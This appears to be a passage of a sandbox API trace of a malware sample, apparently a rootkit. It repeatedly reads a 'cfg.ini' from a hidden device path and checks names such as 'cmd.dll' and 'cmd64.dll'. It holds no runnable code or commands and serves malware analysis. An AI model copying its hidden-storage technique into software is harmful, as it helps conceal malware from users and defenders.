ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.549] ExFreePoolWithTag (P=0xfffffa8003bbadb0, Tag=0x0) [0120.549] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.549] KeLeaveCriticalRegion () [0120.549] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.549] ReleaseMutex (hMutex=0xf0) returned 1 [0120.549] Sleep (dwMilliseconds=0x124f80) [0120.565] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.565] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.565] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.565] KeEnterCriticalRegion () [0120.565] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.565] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.565] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.565] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.565] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0120.565] IdePortDispatch () returned 0x103 [0120.565] KeWaitForMutexObject () returned 0x0 [0120.565] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.565] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.565] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.565] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.565] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.565] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bba910 [0120.565] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.565] KeLeaveCriticalRegion () [0120.565] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.565] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.565] KeEnterCriticalRegion () [0120.565] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.565] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.565] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.565] KeLeaveCriticalRegion () [0120.565] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.565] KeEnterCriticalRegion () [0120.565] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.565] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.566] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.566] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.566] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0120.566] IdePortDispatch () returned 0x103 [0120.566] KeWaitForMutexObject () returned 0x0 [0120.566] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.566] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.566] KeLeaveCriticalRegion () [0120.566] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.566] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.566] KeEnterCriticalRegion () [0120.566] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.566] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800349e000 [0120.566] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.566] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.566] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.566] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.566] IdePortDispatch () returned 0x103 [0120.566] KeWaitForMutexObject () returned 0x0 [0120.566] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.566] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.566] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.566] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.566] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.566] IdePortDispatch () returned 0x103 [0120.566] KeWaitForMutexObject () returned 0x0 [0120.567] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.567] KeLeaveCriticalRegion () [0120.567] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.567] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.567] KeEnterCriticalRegion () [0120.567] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.567] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.567] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.567] KeLeaveCriticalRegion () [0120.567] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.567] KeEnterCriticalRegion () [0120.567] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.567] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.567] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bba470, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.567] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.567] KeLeaveCriticalRegion () [0120.567] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.567] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.567] KeEnterCriticalRegion () [0120.567] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.567] ExFreePoolWithTag (P=0xfffffa8003bba910, Tag=0x0) [0120.567] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.567] KeLeaveCriticalRegion () [0120.567] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.567] ReleaseMutex (hMutex=0xf0) returned 1 [0120.568] Sleep (dwMilliseconds=0x124f80) [0120.581] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.581] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.581] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.581] KeEnterCriticalRegion () [0120.581] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.581] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.581] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.581] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.581] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0120.581] IdePortDispatch () returned 0x103 [0120.582] KeWaitForMutexObject () returned 0x0 [0120.582] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.582] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.582] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.582] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.582] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.582] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bba1b0 [0120.582] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.582] KeLeaveCriticalRegion () [0120.582] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.582] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.582] KeEnterCriticalRegion () [0120.582] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.582] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.582] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.582] KeLeaveCriticalRegion () [0120.582] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.582] KeEnterCriticalRegion () [0120.582] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.582] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.582] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.582] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.582] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0120.582] IdePortDispatch () returned 0x103 [0120.582] KeWaitForMutexObject () returned 0x0 [0120.582] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.582] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.582] KeLeaveCriticalRegion () [0120.582] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.583] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.583] KeEnterCriticalRegion () [0120.583] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.583] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034a3000 [0120.583] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.583] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.583] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.583] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.583] IdePortDispatch () returned 0x103 [0120.583] KeWaitForMutexObject () returned 0x0 [0120.583] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.583] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.583] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.583] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.583] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.583] IdePortDispatch () returned 0x103 [0120.583] KeWaitForMutexObject () returned 0x0 [0120.583] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.583] KeLeaveCriticalRegion () [0120.583] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.584] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.584] KeEnterCriticalRegion () [0120.584] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.584] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.584] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.584] KeLeaveCriticalRegion () [0120.584] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.584] KeEnterCriticalRegion () [0120.584] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.584] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.584] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bba470, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.584] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.584] KeLeaveCriticalRegion () [0120.584] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.584] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.584] KeEnterCriticalRegion () [0120.584] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.584] ExFreePoolWithTag (P=0xfffffa8003bba1b0, Tag=0x0) [0120.584] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.584] KeLeaveCriticalRegion () [0120.584] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.584] ReleaseMutex (hMutex=0xf0) returned 1 [0120.584] Sleep (dwMilliseconds=0x124f80) [0120.600] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.600] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.600] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.600] KeEnterCriticalRegion () [0120.600] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.600] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.600] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.600] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.600] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0120.600] IdePortDispatch () returned 0x103 [0120.600] KeWaitForMutexObject () returned 0x0 [0120.600] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.600] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.600] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.600] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.600] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.600] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbbc00 [0120.600] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.600] KeLeaveCriticalRegion () [0120.601] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.601] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.601] KeEnterCriticalRegion () [0120.601] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.601] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.601] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.601] KeLeaveCriticalRegion () [0120.601] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.601] KeEnterCriticalRegion () [0120.601] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.601] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.601] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.601] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.601] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0120.601] IdePortDispatch () returned 0x103 [0120.601] KeWaitForMutexObject () returned 0x0 [0120.601] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.601] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.601] KeLeaveCriticalRegion () [0120.601] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.601] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.601] KeEnterCriticalRegion () [0120.601] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.601] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034a8000 [0120.601] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.601] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.601] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.601] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.601] IdePortDispatch () returned 0x103 [0120.601] KeWaitForMutexObject () returned 0x0 [0120.602] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.602] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.602] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.602] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.602] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.602] IdePortDispatch () returned 0x103 [0120.602] KeWaitForMutexObject () returned 0x0 [0120.602] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.602] KeLeaveCriticalRegion () [0120.602] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.602] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.602] KeEnterCriticalRegion () [0120.602] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.602] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.602] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.602] KeLeaveCriticalRegion () [0120.602] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.603] KeEnterCriticalRegion () [0120.603] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.603] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.603] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9380, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.603] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.603] KeLeaveCriticalRegion () [0120.603] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.603] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.603] KeEnterCriticalRegion () [0120.603] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.603] ExFreePoolWithTag (P=0xfffffa8003bbbc00, Tag=0x0) [0120.603] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.603] KeLeaveCriticalRegion () [0120.603] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.603] ReleaseMutex (hMutex=0xf0) returned 1 [0120.603] Sleep (dwMilliseconds=0x124f80) [0120.617] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.617] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.617] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.617] KeEnterCriticalRegion () [0120.617] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.617] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.617] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.617] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.617] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0120.617] IdePortDispatch () returned 0x103 [0120.617] KeWaitForMutexObject () returned 0x0 [0120.618] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.618] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.618] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.618] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.618] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.618] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbadb0 [0120.618] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.618] KeLeaveCriticalRegion () [0120.618] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.618] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.618] KeEnterCriticalRegion () [0120.618] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: 